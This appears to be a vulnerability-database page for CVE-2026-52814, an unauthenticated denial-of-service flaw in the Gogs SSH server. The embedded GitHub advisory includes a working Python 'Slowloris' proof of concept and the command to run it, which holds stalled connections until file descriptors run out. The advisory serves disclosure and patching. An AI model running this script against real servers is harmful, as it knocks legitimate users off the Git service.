CVE-2026-52814
mediumEPSS 0.005 · 45 %ileDEEUUSEPSS · scored 2026-10-20
Gogs is an open source self-hosted Git service. Prior to 0.14.3, the Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn. An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures). This vulnerability is fixed in 0.14.3.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 2.7–5.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2013Gogs: Mehrere SchwachstellenDeutsch2026-06-18csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Gogs ausnutzen, um erweiterte Berechtigungen zu erlangen, beliebigen Code auszuführen – sogar mit erweiterten Berechtigungen, was zur vollständigen Kontrolle über das System führen kann –, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, Cross-Site-Scripting-Angriffe durchzuführen, Benutzer auf bösartige Websites umzuleiten oder einen Denial-of-Service-Zustand zu verursachen.
- GHSA-xp79-5mx3-jx52Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)2026-06-23ghsa · osvUS
The Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to `golang.org/x/crypto/ssh.NewServerConn` inside a new goroutine without enforcing any read/write deadlines on the underlying `net.Conn`. An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures). ### Vulnerability Details In `internal/ssh/ssh.go`, the `listen` function contains an accept loop that spawns a goroutine for every incoming connection: ```go for { conn, err := listener.Accept() // ... go func() { // VULNERABILITY: No conn.SetDeadline() is called here sConn, chans, reqs, err := ssh.NewServerConn(conn, config) // ... }() } ``` The `golang.org/x/crypto/ssh` package is transport-agnostic and explicitly relies on the caller to manage connection timeouts before initiating the cryptographic handshake. Because Gogs never calls `conn.SetDeadline()`, the call to `NewServerConn` eventually reaches `io.ReadFull` (inside `readVersion()`) and blocks forever on the kernel TCP socket waiting for the client to send the `SSH-2.0-...` banner. Each stuck connection consumes a file descriptor and ~10KB of memory (Goroutine stack + connection structs). An attacker holding thousands of these connections open with zero bandwidth (no data sent) will quickly exhaust the OS `ulimit -n` limits (`accept4: too many open files`), completely neutralizing the service. ### Steps to Reproduce **1. Environment Setup:** Ensure Gogs is configured to use the built-in Go SSH server in `app.ini`: ```ini [server] START_SSH_SERVER = true SSH_PORT = 2222 SSH_LISTEN_PORT = 2222 ``` **2. The Exploit (PoC):** Save the following Python script as `slowloris-ssh.py`. This script connects to the SSH port and intentionally stalls the handshake. ```python #!/usr/bin/env python3 import socket, sys, time target_host = sys.argv[1] target_port = int(sys.argv[2]) n = int(sys.argv[3]) sockets = [] print(f"[*] Starting SSH Slowloris on {target_host}:{target_port}...") for i in range(n): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # VULNERABILITY EXPLOIT: Do NOT send the "SSH-2.0-..." banner. sockets.append(s) if i % 100 == 0: print(f"[+] {i} stuck connections established") except Exception as e: print(f"[-] Stopped at {i} connections. Reason: {e}") break print(f"[+] Holding {len(sockets)} connections to starve the server...") while True: time.sleep(60) ``` **3. Execution:** Run the script against the target, ensuring the number of connections (`n`) exceeds the server's configured file descriptor limit (e.g., `1500` for default 1024 ulimit environments): `python3 slowloris-ssh.py <target-ip> 2222 1500` **4. Observe the Impact:** * Attempt to connect legitimately: `nc -v <target-ip> 2222`. The connection will hang or be refused immediately. * Inspect the Gogs server logs/console. You will observe catastrophic I/O failures such as: `[clog] [file]: rename rotated file ...: no such file or directory` `accept4: too many open files` ### Impact * **Denial of Service:** Legitimate developers cannot push, pull, or clone repositories via SSH. ### POC:- [watch the following video for poc](https://drive.google.com/file/d/1YGsZnxNIiwUuOrdKwJSfnRBfOEJcDHUJ/view?usp=sharing)
- GO-2026-5765Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion) in gogs.io/gogs2026-06-25vendor · osvUS
Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion) in gogs.io/gogs. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: gogs.io/gogs before v0.14.3.
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (12)
External citations — patches, advisories, analysis.
- https://github.com/gogs/gogs/commit/7da9cda314054501e1a7938a9c4d7896f331b884cnnvd
- https://github.com/gogs/gogs/pull/8335cnnvd
- https://github.com/gogs/gogs/releases/tag/v0.14.3cnnvd
- https://github.com/gogs/gogs/security/advisories/GHSA-xp79-5mx3-jx52cnnvd
- https://github.com/gogs/gogs/commit/7da9cda314054501e1a7938a9c4d7896f331b884enisa_euvd
- https://github.com/gogs/gogs/pull/8335enisa_euvd
- https://github.com/gogs/gogs/releases/tag/v0.14.3enisa_euvd
- https://github.com/gogs/gogs/security/advisories/GHSA-xp79-5mx3-jx52enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan